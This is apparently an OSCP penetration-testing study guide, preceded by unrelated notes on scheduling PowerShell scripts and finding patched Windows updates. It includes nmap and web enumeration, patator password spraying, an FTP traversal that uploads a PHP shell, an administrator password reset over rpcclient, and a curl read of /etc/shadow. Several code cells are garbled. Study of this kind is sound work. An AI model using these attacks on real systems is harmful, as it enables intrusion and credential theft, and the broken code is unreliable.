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Penetration Testing for OSCP – Guide 2

The guide touches on searching for exploits,getting/using reverse shells, escalating for Administrator accounts on Windows/Root for Linux, pivoting across networks, Attacking a windows domain, password cracking techniques, exploit testing, post root/admin actions and more.

Please follow the entire guide on my GitHub account(see link below). I can more readily and easily display Markdown files which make for a much easier conversion from my Jupyter Notebooks where I build most of my documentation.

Automated .ps1 scripts with Task Scheduler

Action Options to run a script in Task Scheduler.

  • Program/Script: Scripts%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
  • Arguments: -File .\Copy-Jobs_SB.ps1
  • Start in(path): C:\Anaconda3\Notebooks\MyScriptsTEST

Schedule Setup

Pretty simple outline in the gui. Use the “run now” buttons to verify they will actually work though when ran on a schedule.

Use Secure Strings to at least hide the plain text passwords or keys you use in your scripts. Remember that you must generate a Secure String with the account you will be using.

Also make sure to automate these scripts from a secured server. No one should be able to easily connect and read these other than yourself of the security team.

Troubleshooting non-working scripts

Trouble Shooting a service account issue. For instance you originally used an account you tested with(like your personal user admin account etc)

Use a Try/Catch block in your ps1 script in the case you can’t tell if it’s something getting caught up while Task Scheduler runs the script. This happened to me when configuring a service account for production to run the script that I had originally tested with my user account. After verifying the script ran I found out it was getting caught up in the translation of a Secure String I created with my user account. These Secure Strings need to be generated by the account that runs the script.

Try {  


Catch {
$ErrorMessage = $_.Exception.Message
$FailedItem = $_.Exception.ItemName
$hrresult = $_.Exception.HResult
$stacktrace = $_.Exception.StackTrace
Add-Content c:\temp\log.txt "second error message was: $ErrorMessage Failed Item was: $FailedItem `nstacktrace was: $stacktrace $hrresult"


Below is an example of exceptions logged that deduced my issues to the Secure String used.

Future Improvements:

  • Run automated scripts using an MSA account

Finding a Microsoft KB in a Cumulative Update

• Windows patches linked to Knowledge Base articles or MS bulletins roll up and become unavailable as a hot-fix/single update file and go into a cumulative update. This can pose an issue when your Deployment system like SCCM or BigFix no longer have the update to push to machines since they follow Microsoft’s patch catalog for which old updates get rolled up and removed. This can become an issue when your trying to force patch machines that may become vulnerable to malware that the patch can fix and you can’t readily find what patch to use since the KB originally able to fix a vulnerability is now no longer available for single update.
• Although keeping all machines up to date is best practice it can become an issue when legacy applications begin to break and when if settings allow users to delay updates it’s likely a population of un-patched machines will arise.
• Windows 10 patches are normally fixed in new versions so updating works but if you want to see if you can find a KB or MSXX-xxxx bulletin you can search the known cumulative updates
Find your Security Vulnerability Builletin:
MS17-010 – google search and go to the MS site Follow it to the KB used to install on Win10 1511 x64 machines you’ll find the install instructions provide KB4013198 as actual file needed.
Search for this in the MS update catalog. But you’ll have to do it by Cumulative update since this is older and rolled up.
• Go to:
o Search for “windows 10 version 1511” filter by last updated
o Look for latest cumulative update for the version and arch.
o Search for the KB installer “KB4013198” under the “Update Details” > “Package Details” using ctrl+F for quick finds

Finding the Cumulative update in BigFix so you can install it on machines.
Go to: > log in > Apps > Patch > use the KB patch name for the Cumulative update you found “KB4093109”

From here you can see that it is available and you can deploy it to vulnerable machines to patch for the SMB exploits.

Pentester OSCP Guide One – Service Enumeration and Preparations


  • make a working directory for every box you hit to store details like nmap scans and other files you collect
  • These are all manual methods that should be automated once a user is familiar with what is going on

Mount point to other tools to grab from the victim machine on your server

Privilege Escalation tools

mkdir priv-esc-unix

mount –bind /root/priv-esc/unix/ priv-esc-unix

mkdir priv-esc-win

mount –bind /root/priv-esc/windows/ priv-esc-win

Windows Binaries

mkdir win-bins

mount –bind /usr/share/windows-binaries/ win-bins

Cloning GitHub Repos

  • a lot of tools are in github and we can easily download scripts or projects of tools by using their git URL and cloning it onto our machine to use it immediately

Cloning the Patator git from using the clone/download button

git clone

Cloning a particular folder

svn checkout

Downloading a single file

wget -L

Update any new files in a repo

  • it will use the hidden .git files in a downloaded clone ie; empire

cd ~/extra-tools/powershell/Empire

git pull

Compile with Makefile

  • git clone and if offered you can use the simple makefile to compile it with all that is neededmake -f makefile

Finding/Installing From Kali Repos

apt search smbmap

apt install smbmap

Update NSE scripts database

In [35]:

#updating NSE Scripts database using Python


Starting Nmap 7.70 ( ) at 2018-08-11 16:48 PDT NSE: Updating rule database. NSE: Script Database updated successfully. Nmap done: 0 IP addresses (0 hosts up) scanned in 1.68 seconds

Manually Download NSE Scripts

  • substitute the sh commands for bash commands within kali bash prompt

In [ ]:

#download nse scripts from and import them to nse directory
ssh_scripts = ['','',                '',''               ] for
dl_link in
ssh_scripts:     if
dl_link'/usr/share/nmap/scripts/')     sh.wget(dl_link) 

Check Available NSE Scripts

In [2]:

#Find available .nse scripts in the default directory for each service
!ls /usr/share/nmap/scripts/ | grep rpc 
bitcoinrpc-info.nse deluge-rpc-brute.nse metasploit-msgrpc-brute.nse metasploit-xmlrpc-brute.nse msrpc-enum.nse nessus-xmlrpc-brute.nse rpcap-brute.nse rpcap-info.nse rpc-grind.nse rpcinfo.nse xmlrpc-methods.nse 

Kali Sec Lists

Install latest lists from

 sudo apt-get install seclists

Nmap Technique

  • Quick commands
  • -sC means default scripts scan
  • -sV means do version dection of port service
  • -oA means ouput to .nmap .gnmap and .xml formats to specified file
  • –top-ports you can specify 100,1000,10000
  • -oN <filename> export to a normal file(like nmaps normal output)
  • -sS syn scan
  • -iL enter a list of host ips ie; hosts.txt

Initial Subnet Scan

  • TCPnmap -oA top1000TCP.nmap -sS -sV -T3 –top-ports 1000
  • UDPnmap -oA top100UDP.nmap -sU -sV -T3 –top-ports 100

Initial Host Scan

nmap -oN scan.nmap -v -sS -sU -T5 –top-ports 1000

nmap -sC -sV -oA fighter

Scan top 10,000 ports

  • avg 134.74 seconds

nmap -oN scan.nmap -v -sS -sV –top-ports 1000

Using Vulners nse script

nmap -oN vulners.nmap -sV –version-intensity 9 –script vulners -p 80

Scan All ports

nmap -p- -T5 -oN all.nmap

Grep open ports

  • need nmap gerppable file

grep -oP ‘\d{1,5}/open’ scan.grep

Grep Particular Open Port and list hosts

cat top1000.nmap.gnmap | grep “22/open/” | awk ‘{print $2}’

scan from list of parsed hosts

nmap -sV -oG smb.nmap –script “smb- and not smb-brute and not smb-flood” –script-args= -d -Pn -v -p 139,445 -iL smb-open.txt

Awk Open ports and pipe to new NMAP scan

  • -F ” |/” sets the field separator ie; 22/open
  • /open/ on any line that has “open” in it
  • {print $1} print the first field of that line ie; “22” if the line started with 22/open
  • {print $NF”:”$4} this would print the last field in the line followed by a colon and then the 4th field
  • ORS=”,” this replaces the newline chars with a comma putting all ports from an nmap scan into one line separated by commas
  • {print substr($1, 1, length(\$1)-1)} choose the line “$1, 1,” and make it’s length the line itself minus one char “length(\$1)-1)}”

awk -F” |/” ‘/open/ {print $1}’ ORS=”,” scan.nmap | awk ‘{print substr(1,1,length(1,1,length(1)-1)}’ | xargs -I ‘{}’ nmap -oN vulners.nmap-v -sV –version-intensity 9 -T2 –script vulners -p {}


  • use instead of ping to send syn packets instead or any flag you wantnping –tcp -p 80 -c 4 –flags SYN
  • Nping with proxy chains using a connect scan as requiredproxychains nping –tcp-connect -c 1 -p 3389


  • testing the api nmap would be using if i found FileZilla as an open service


Vulners Nmap NSE Script

  • once initial scan completes do a service scan against the known ports and use the vulners.nse script

nmap -oN vulners.nmap -sV –script vulners -p 80

  • grep for exploit-db or github POCs

cat vulners.nmap | grep -i -b “exploit-db|”

  • Only print CVEs that have a POC on exploit DBcat vulners.nmap | awk ‘{print $4}’ | grep http | xargs -I ‘{}’ sh -c ‘curl -s {} | grep -i -b -c && echo “{}”‘

Python vulners Module#Simple Usage Example import vulners #CHANGE CAN to CVE FROM NIKTO SCANS vulners_api = vulners.Vulners() cve = vulners_api.document(“OSVDB:3268”) cve#CVSS DATA print(cve.keys()) print(cve[‘cvss’]) print(cve[‘cvss’][‘score’])



nmap -oN ftp.nmap –script “ftp- and not ftp-brute” –script-args= -d -Pn -v -p 21

In [21]:

#view available nmap nse scripts
#download scripts if not here and place them here to have nmap run them
!ls /usr/share/nmap/scripts/ |grep "ftp" #search for
the ftp scripts 
ftp-anon.nse ftp-bounce.nse ftp-brute.nse ftp-libopie.nse ftp-proftpd-backdoor.nse ftp-syst.nse ftp-vsftpd-backdoor.nse ftp-vuln-cve2010-4221.nse tftp-enum.nse 

In [28]:

host = "" port = 21#first port connection
udp = None
###### runs all ftp scripts except those specified with some expression syntax * wild card is allowed
arguments = f'''         --script "ftp-* and not ftp-brute*"          --script-args=         -d -Pn -v -p {str(port)}''' df1,df2,xml = vulns(host,arguments) 
Elapsed Time: 2.40 IP/MAC: {'ipv4': '', 'mac': '00:50:56:89:3D:A7'} status: {'state': 'up', 'reason': 'arp-response'} vendor: {'00:50:56:89:3D:A7': 'VMware'} Hostnames: [{'name': '', 'type': ''}] [''] command: nmap -oX - --script "ftp-* and not ftp-brute*" --script-args= -d -Pn -v -p 21 scaninfo: {'tcp': {'method': 'syn', 'services': '21'}} 

In [31]:

#Is anonymous ftp allowed?
#what version of ftp is installed?
dict_keys(['hostnames', 'addresses', 'vendor', 'status', 'tcp'])   ftp-anon Anonymous FTP login allowed (FTP code 230) Can't get directory listing: ERROR   ftp-syst    STAT:  FTP server status:      Connected to      Logged in as ftp      TYPE: ASCII      No session bandwidth limit      Session timeout in seconds is 300      Control connection is plain text      Data connections will be plain text      At session startup, client count was 6      vsFTPd 2.0.1 - secure, fast, stable End of status   

Anonymous Login Function

In [34]:

anonLogin(hostname):      import
    try:         ftp = ftplib.FTP(hostname)         ftp.login('anonymous', '') #providing the user/domain is a courtesy and not neede
        print(f'\n[*] {hostname}
FTP Anonymous Logon Succeeded.')         ftp.retrlines('LIST') #list directory and permissions
        dirs = ftp.nlst()#list only directories in list form
        print(f'{dirs}')          ftp.dir() #lists directory and permissions in list form
        ftp.cwd(dirs[0])         # change directory to /pub/
        print(ftp.dir())         print(data)         ftp.quit()          return
e:          print(e)         print(f'\n[-] {hostname}
FTP Anonymous Logon Failed.')         return

FTP Client for File Traversal

Use discovered creds to login

root@kali:/usr/share/ncrack# ftp Connected to 220 Femitter FTP Server ready. Name ( tophat  331 Password required for tophat. Password: 230 User tophat logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp>
dir -------------------------HERE WE LOOK FOR THE  200 Port command successful. 150 Opening data connection for directory list. drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 . drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .. -rw-rw-rw-   1 ftp      ftp        11164 Dec 26  2006 house.jpg -rw-rw-rw-   1 ftp      ftp          920 Jan 03  2007 index.htm drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Upload 226 File sent ok 
File Traversal attack here
dir ../ 200 Port command successful. 150 Opening data connection for directory list. drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 . drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .. -rw-rw-rw-   1 ftp      ftp           48 Nov 01  2010 buy.url drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Configs -rwxrwxrwx   1 ftp      ftp      1095168 Nov 01  2010 fem.exe -rw-rw-rw-   1 ftp      ftp         2145 Sep 23  2015 INSTALL.LOG drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Logs -rw-rw-rw-   1 ftp      ftp        59904 Nov 01  2010 manual.chm drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Shared -rwxrwxrwx   1 ftp      ftp       148992 Feb 22  1999 UNWISE.EXE 226 File sent ok 
Ftp upload attemps with put and send

  put shell.php shell.jpg     local: shell.php remote: shell.jpg     200 Port command successful.     501 Permission Denied  ftp>
send     (local-file) shell.php     (remote-file) shell.jpg     local: shell.php remote: shell.jpg     200 Port command successful.     501 Permission Denied  
File Download attemps
GET ../../../boot.ini ?Invalid command ftp>
get ../../../boot.ini local: ../../../boot.ini remote: ../../../boot.ini 200 Port command successful. 150 Opening data connection for ../../../boot.ini. 226 File sent ok 211 bytes received in 0.00 secs (333.4218 kB/s) ftp>
mget ../../../boot.ini Filename provided by server doesn't match pattern `../../../boot.ini': /C:/Program Files/Femitter/Shared/../../../boot.ini not found Refusing to handle insecure file list  

Move Files to the downloadable/uploadable directory for manipulation

rename ../../../MSN /Upload/MSN 350 File exists, ready for destination name. 250 File '/C:/Program Files/Femitter/Shared/Upload/../../../MSN' renamed to '/C:/Program Files/Femitter/Shared/Upload/MSN'. ftp>
ls 200 Port command successful. 150 Opening data connection for directory list. drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:36 . drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:36 .. drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 MSN -rw-rw-rw-   1 ftp      ftp          946 Jul 15 05:30 shell.php -rw-rw-rw-   1 ftp      ftp           28 Dec 26  2006 uploaded.txt 226 File sent ok ftp>
put /root/shell.php /MSN/shell.php local: /root/shell.php remote: /MSN/shell.php 200 Port command successful. 501 Permission Denied ftp>
put /root/shell.php /Upload/MSN/shell.php local: /root/shell.php remote: /Upload/MSN/shell.php 200 Port command successful. 150 Opening data connection for /Upload/MSN/shell.php. 226 File received ok 946 bytes sent in 0.00 secs (23.1327 MB/s) ftp>
rename /Upload/MSN ../../../MSN 350 File exists, ready for destination name. 250 File '/C:/Program Files/Femitter/Shared/Upload/MSN' renamed to '/C:/Program Files/Femitter/Shared/Upload/../../../MSN'. ftp>
ls ../../../MSN 200 Port command successful. 150 Opening data connection for directory list. drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:37 MSN 226 File sent ok ftp>
ls ../../../MSN/ 200 Port command successful. 150 Opening data connection for directory list. drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:37 . drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:37 .. drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 MSNCoreFiles -rw-rw-rw-   1 ftp      ftp          946 Jul 15 05:37 shell.php   

Download all files in a directory

mget *

  • Using wget is better. Then use Tree to quickly see what you havewget -m ftp://anonymous:””@

FTP Brute Force with Patator

  • brute with combo list one hostpatator ftp_login host= port=21 user=COMBO0 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt -x ignore:fgrep=’Login or password incorrect’
  • password spray all hosts with ftp openpatator ftp_login host=/root/oscp/lab-net2019/ftp-open.txt port=21 user=COMBO0 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt -x ignore:fgrep=’Login or password incorrect’
  • Save details into a dir called ftp_spray with the REPORT.csv as the main file to read with libreoffice
  • the directory path gets auto createdpatator ftp_login host=FILE0 port=21 user=COMBO10 password=COMBO11 0=/root/oscp/lab-net2019/ftp-open.txt 1=/root/oscp/lab-net2019/combo-creds.txt -x ignore:fgrep=’Login or password incorrect’ -x ignore:fgrep=’cannot log in.’ -x ignore:fgrep=’Login incorrect’ -l ftp_spray

FTP Bounce Scan

  • scan hosts via proxied ftp server

Scan internal Proxid servers IPs

nmap –top-ports 1000 -vv -Pn -b anonymous:password@


Single Host

nmap -oN tftp.nmap -v -sU -sV -T2 –script tftp* -p 69


  • smb-mbenum script will use udp 139


Scan list of hosts

nmap -sV -oG smb.nmap –script “smb- and not smb-brute and not smb-flood” –script-args= -d -Pn -v -p 139,445 -iL smb-open.txt

scan host

nmap -oN smb.nmap –script “smb- and not smb-brute and not smb-flood” –script-args= -d -Pn -sV -T2 -v -p 139,445

Scan host using domain user

  • smbdomain needs to be specified, might be able to get this from an initial unauthentiated scannmap -oN smb.nmap –script “smb- and not smb-brute and not smb-flood” –script-args=smbusername=’billy’,smbdomain=’contoso.local’,smbpassword=’SuperSecret!’ -d -Pn -sV -T2 -v -p 139,445

List Nmap SMB ScriptsIn [1]:

!ls /usr/share/nmap/scripts/ | grep smb 
smb2-capabilities.nse smb2-security-mode.nse smb2-time.nse smb2-vuln-uptime.nse smb-brute.nse smb-double-pulsar-backdoor.nse smb-enum-domains.nse smb-enum-groups.nse smb-enum-processes.nse smb-enum-services.nse smb-enum-sessions.nse smb-enum-shares.nse smb-enum-users.nse smb-flood.nse smb-ls.nse smb-mbenum.nse smb-os-discovery.nse smb-print-text.nse smb-protocols.nse smb-psexec.nse smb-security-mode.nse smb-server-stats.nse smb-system-info.nse smb-vuln-conficker.nse smb-vuln-cve2009-3103.nse smb-vuln-cve-2017-7494.nse smb-vuln-ms06-025.nse smb-vuln-ms07-029.nse smb-vuln-ms08-067.nse smb-vuln-ms10-054.nse smb-vuln-ms10-061.nse smb-vuln-ms17-010.nse smb-vuln-regsvc-dos.nse 


  • Using the smbmap vs the filepath seems to download files differntly using full file path will download them to my curent dir
  • fixed the script so i can run it directly with “smbmap” only

LIST available Shares with Guest account no Password

smbmap -u guest -p “” -H

Using null session

smbmap -H -r

Guest Session with port specified for Samba

smbmap -u “” -p “” -H -P 139


/usr/share/smbmap/ -H -r


/usr/share/smbmap/ -H -R “Bob Share”

Downloading a file

/usr/share/smbmap/ -H –download “Bob Share\ssshh\var\lib\python-support\python2.4\”

Enumerate shares(Authenticated) -u SVC_TGS -p ‘Incredible!Password!’ -d active.htb -H

[+] Finding open SMB ports.... [+] User SMB session establishd on [+] IP:        Name: DC.ACTIVE.HTB                                              Disk                                                    Permissions         ----                                                    -----------         ADMIN$                                                  NO ACCESS         C$                                                      NO ACCESS         IPC$                                                    NO ACCESS         NETLOGON                                                READ ONLY         Replication                                             READ ONLY         SYSVOL                                                  READ ONLY         Users                                                   READ ONLY


  • Use nmap script to identify any possible open shares if the direct ip address alone doesn’t give way ie; wwwroot dir might be available but only if specified as the anonymous user.
  • Can also be used from unix clients to connect back to my smb server
  • use the smb-ls NSE script to identify shares that don’t map otherwise and connect with smbclient

Connect with NULL session

  • this can work especially if you see ntlmV2 hashes requiredsmbclient “//”

Connect with guest account

smbclient “\\\JaneShare” -u guest “”

  • make sure to use a lowercase “u” for the user switch

root@kali:~# smbclient “\\\JaneShare” -u guest “” WARNING: The “syslog” option is deprecated Try “help” to get a list of possible commands. smb: > ls . D 0 Tue Aug 7 21:58:17 2018 .. D 0 Sat Jan 29 10:07:11 2011 sshme D 0 Wed Aug 26 02:54:18 2009 SecuredIthink D 0 Tue Oct 7 16:39:22 2008 rootfs D 0 Wed Aug 26 02:54:18 2009

Connect with domain user

smbclient “//” -U Contoso/jane

Recursively Download entire folder


mask “”

recurse ON

prompt OFF

cd ‘path\to\remote\dir’

lcd ‘~/path/to/download/to/’

mget *

Recursively Download OneLiner

  • downloads the share to the current directory(lcd)
  • -U=’username%password’ ——-use this to supply a domain/userame and password upon connecting to not be promptedsmbclient ‘\\SYSVOL’ -U=’contoso/jane%SuperPassword^’ -c ‘prompt OFF;recurse ON;lcd ‘./’;mget *’

Upload a single file one liner

smbclient “\\\Public” –user mike –pass mikey -c “put linenum-07-05-19”


  • good to see access times and maybe replace a file with something executableallinfo <file>


  • get permissionsstat <file>


Using Authenticated user

rpcclient -U SVC_TGS

Change users password

setuserinfo2 administrator 23 ‘password1234’

Lookup user SID

lookupnames administrator

administrator S-1-5-21-117609710-1450960922-1801674531-500 (User: 1)

SMB Brute with Patator

Using a Combo File

  • a file with login:password
  • keep in mind you need start your placeholders with “0” then “1” and so on.
  • against one hostpatator smb_login host= domain=CONTOSO user=COMBO00 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt -l smb_brute
  • Brute a subnet with combo listpatator smb_login host=FILE0 domain=CONTOSO.LOCAL user=COMBO10 password=COMBO11 0=/root/oscp/lab-net2019/smb-open.txt 1=/root/oscp/lab-net2019/combo-creds.txt -x ignore:fgrep=”STATUS_LOGON_FAILURE”
  • Using Rate limits for slower conns and more accuracy, is slower.

patator smb_login host= –timeout 100 domain=CONTOSO user=COMBO00 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt -l smb_brute –threads=2 –rate-limit=2 -x ignore:mesg=’STATUS_LOGON_FAILURE’


nmap -oN imap.nmap –script imap-capabilities,imap-ntlm-info,imap-brute –script-args= -d -v -p 143



command that doesn’t hang with kali upgrade 11/18/2018

Win Boxes

nmap -oN http.nmap –script “http and not http-brute and not http–brute and not http-slowloris and not http-rfi-spider and not http-sql-injectionand not http-form” –script-args= -d -sV –version-intensity 9 -Pn -vv -p 80

for nix boxes

nmap -oN http.nmap –script “http and not http-brute and not http-slowloris and not http-rfi-spider and not http-sql-injection and not http-form and not http-iis*” –script-args= -d -sV -Pn -T3 -vv -p 80

  • with domain to resolve against when added to hosts file after a something like a ‘zone transfer finding use “<domain here>”nmap -oN http1.nmap –script “http and not http-brute and not http-slowloris and not http-rfi-spider and not http-sql-injection and not http-form and not http-iis*” – -d -sV -T3 -Pn -vv -p 80

list available .nse scripts

ls /usr/share/nmap/scripts/ | grep http


Scan for everything

  • -h specifies host
  • -p port

nikto -h -p 80

scan to output file/ specify port/ specify basic auth
nikto -o nikto.txt -h -p 3366 -id joker:passwordhere!


  • another enum type tool like nikto but looks to be more advanced and prettier in output

whatweb -v -a 4


  • run dirb on discovered site directories or simply the home site itself to find directories and files of interest to then discover webapps for which to run searchsploits on
  • supply a wordlist you think might yield special directories for the particular site or just use the default common list Dirb uses

Tests against a comon wordlist in silent mode(-S)

dirb -S


Use "-k" option to bypass certifcate checking issues in HTTPS use "-r" to follow redirects like http pointing you to https after use "-x" to list exensions against normally 403 forbiddens  Use -U/-P for a username password to use if the site needs basic authentication     >dir /usr/share/wordlists/dirbuster     >dir /usr/share/wordlists/dirb     >dir /usr/share/seclists/Discovery/Web-Content use -o for output to a file use -to 100s to set the http timeout to 100 seconds instead of default 10 this is good for slow websites use "-t" to set number of concurrent threads ie; 100 for one hundred requests at one time  


gobuster -e -u -w /usr/share/wordlists/dirb/common.txt

gobuster -e -u -w /usr/share/wordlists/dirb/common.txt -k -r

gobuster -e -u -w /user/share/wordlists/dirb/common.txt -U ‘loki’ -P ‘godofmischiefisloki’

Gobuster command for slow websites

gobuster -k -e -t 10 -to 100s -u -w /usr/share/wordlists/dirb/common.txt

get files extensions

gobuster -e -u -t 100 -w /usr/share/dirb/wordlists/small.txt -k -np -r -x pl,py,php,exe,txt,sh,old

  • wild card responses basically indicate there is an image or redirect to the same page everytime so it can’t run properly. Use Wfuzz in this case

Format gobuster discovered page codes 200,301,302 into new file for curl to then iterate with

  • use uniq filters for unique items only and we grep out the “?” matches which are normally nothing

cat gobuster.txt | grep -v 403 | grep -e 200 -e 301 -e 302 | cut -d ” ” -f 1 | grep -v ? | uniq > webpages_200_300.txt

  • grepping for 200 and 302 codes and removing lines with [+] ‘

cat gobuster.txt | grep “200\|301\|302” | grep -v “[+]\|?”


  • Using proxychains to scan a disparate networkproxychains gobuster -o gobuster.txt -e -u -w /usr/share/seclists/Discovery/Web-Content/dirbuster_all.txt

Gobuster/Burpsuite Socks Proxy

  • you can scan a host through a socks proxy if you:a. make the socks tunnel ie; ssh -D paramb. turn socks proxy on for burpsuite requestsc. bind a listener port on burp to the remote address and port on a local port to scan through then just turn gobuster at that and it should run without using proxychains in the command
    • binding port 8085 on my local host to route to on the remote network after turning on “Use Socks Proxy” in the “User Options” on BurpSuitegobuster -e -u -t 50 -to 100s -w /usr/share/dirb/wordlists/big.txt -k -np -r -x pl,py,php,exe,txt,sh,old -o gobuster1.txt


  • the first line of your wordlist can’t be empty otherwise you get empty dictionary error
  • use this if gobuster gets the “wildcards” issue
  • -c is to color code
  • -Z move on if pycurl error happens
  • -w is short for wordlist to supply
  • –hh is for hide chars in a page ie; you should see same number of chars from a fuzz which if is the same and always returning 200 codes you can filter with this
  • –hc is used to filter status codes ie; 404,403 etc you supply multiple with commas
  • –hl filter for number of lines returned use commas to separate
  • -p enter burp proxy if i have it on or direct SOCKS proxy i’m running see below example
  • -d form POST request grab from Burp raw params sent
  • -f fuzz.txt to save output to file
  • FUZZ is the keyword used for the placement of the wordlist words during the fuzz
  • “–req-delay” is the max seconds wfuzz should take when waiting for response
  • “–conn-delay” stop listening after given number of seconds

wfuzz -c -Z -w /usr/share/wordlists/dirb/common.txt –hh 171 –hc 404

Fuzz list of websites

  • useful if the site responds but oddly has many useless hits from my gobuster hits2.txt | awk ‘{print $1}’ > sites.txt

wfuzz -f fuzz.txt -c -Z -w ./sites.txt –hh 0,101 FUZZ

Brute Force Web login with Proxy to Burp

wfuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou-05.txt -p –hs “Incorrect” -d “username=admin&password=FUZZ&btnSubmit=Submit”

using proxychains

  • enumerate dirs/pages since gobuster fails hereproxychains wfuzz -f fuzz.txt -t 100 -c -Z -w /usr/share/seclists/Discovery/Web-Content/big.txt –hc 404

Using SOCKS Proxy Switch

  • can use the built in switch instead of proxychains when scanning over a socks proxy

wfuzz -f fuzz.txt -t 100 -c -Z -w ../../../../edbmachine/enum/test/dirb2-all.txt –hc 404 -p


  • Custom wordlist building for website directory brutes with gobuster
  • “-w” Specify the output file
  • “-d” specify depth of links to follow; default is 2
  • “-m” specify number for word count for miniumum word length to capture
  • “-e” include emails found
  • “-a” include meta data

cewl -w customwordlist.txt -d 5 -m 3

Brute Forcing


  • Must run with Python2, otherwise you will see UTF-8 errors with rockyou.txt list!!!!
  • Modify your Patator Script to do this
  • -e for encoding scheme to use in case creds needs to be encodded
  • you need to enter a “\” after each header option and enter the next part on the next line so it lines up in burp etc
  • -l <dir name> option to save to a directory with csv output and more

http php-my-admin login

patator http_fuzz follow=1 accept_cookie=1 method=POST url=’pma_username=admin&pma_password=FILE0&server=1&target=index.php&token=ac2af823371731e85c7fdc394178bf9a’ 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -x ignore:fgrep=”denied”

http php-my-admin with b64 encoding of creds and multiple header options

patator http_fuzz follow=1 proxy= accept_cookie=1 method=POST url=’Cookie: phpMyAdmin=1oiq151mmplj28tpkeb0ntsose5s62at; pma_lang=en-utf-8; pma_charset=utf-8; pma_collation_connection=utf8_general_ci; pma_fontsize=82%25; pmatheme=original \ Authorization: Basic \@@_FILE0_@@_’ -e _@@_:b64 0=/usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt -x ignore:fgrep=”denied”

Http Login Form

  • use burp to find the body params that take the user/pass fields and enter them like below, Leave off the last Quotation to and hit enter to make a new line for each param of our Request Header and then finally close it off and enter our ignore switches
  • “FILE0” is a placeholder for the password list used, Alternatively start with a COMBO0 and COMBO01 list also as this switch works too
  • we simply state admin as the username but could use “FILE1” place holder too to enter a list
  • for the header params you want to space them properly with an “\” after each param or copy paste like below and edit it should show a “>” for each new line in the shell prompt
  • “proxy” param is the burpsuite proxy i use docs have this wrong as “http_proxy” except my man is correct
  • “-x ignore:fgrep=”Invalid Login” this param is looking for text in the body that you want to ignore successful outputs for ie; if invalid login shows up it was unscuccessful don’t display.

patator http_fuzz follow=1 accept_cookie=1 method=POST proxy= url=http://admin.cronos.htb/index.phpbody=’username=admin&password=FILE0′ 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-05.txt header=”User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://admin.cronos.htb/index.php

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=qsv70nme8til1950h9u8ofcs66″ -x ignore:fgrep=”deniedb”


 Curl utility can also be uitlized for these quick tasks:  

ignore certificate errors on https/443

curl -k

Use Curl config file to get a local file and output it to new file

  • tell curl what url to visit in this case get a local fileurl = “file:///etc/shadow”
  • next output to another local file
  • confirmed this will also overwrite any supplied parameters on the commandline ie; ifyou do a -o to a different file path it will use this config output param instead output = “/home/floris/admin-area/passwd”curl -K/curl_config

Put File and Proxy to Burp

curl -x -T ‘http.nmap’ ‘

Executing an uploaded reverse shell file example

curl “


downloading an entire directory ie; git

  • used to search with grep tools for passwords etcwget –mirror –include-directories=/git

Python Request

Use python requests module to retrieve web pages and inspect response headers etc or test for LFI  list of browser agents

In [4]:

get(url,header):     import
    headers = header     response = requests.get(url,data=None,headers=headers) #     response = requests.get(url,data=None,headers=headers,verify=False) #use this to bypass ssl verification
    status = response.status_code #
    reason  = response.reason     request_header = response.request.headers     response_header = response.headers      content = response.content #     print(f"Status: {status}, Reason: {reason} \n\nRequest headers: {request_header}\n\nResponse Header: {response_header}\n\nResponse Content: {content}")
    #Server field will let us know what cgi script language is available if it is

In [14]:

normal_header = headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} url = "" #Vulnerable php variable not sanitizing input
status,reason,request_header,response_header,content= get(url,normal_header) print(f"Status: {status}, Reason: {reason}
\n\nRequest headers: {request_header}\n\nResponse Header: {response_header}\n\nResponse Content: {content}") 
Status: 200, Reason: OK   Request headers: {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}  Response Header: {'Date': 'Wed, 17 Oct 2018 04:41:14 GMT', 'Server': 'Apache/2.2.3 (CentOS)', 'Last-Modified': 'Tue, 01 Nov 2011 19:56:22 GMT', 'ETag': '"d09c2-1f16-bfe50580"', 'Accept-Ranges': 'bytes', 'Content-Length': '7958', 'Connection': 'close', 'Content-Type': 'text/plain; charset=UTF-8'}  Response Content: b'<?php\n/* vim: set expandtab tabstop=4 softtabstop=4 shiftwidth=4:\n  Codificaci\xc3\xb3n: UTF-8\n  +----------------------------------------------------------------------+\n  | Elastix version 1.0                                                  |\n  |                                               |\n  +----------------------------------------------------------------------+\n  | Copyright (c) 2006 Palosanto Solutions S. A.                         |\n  +----------------------------------------------------------------------+\n  | Cdla. Nueva 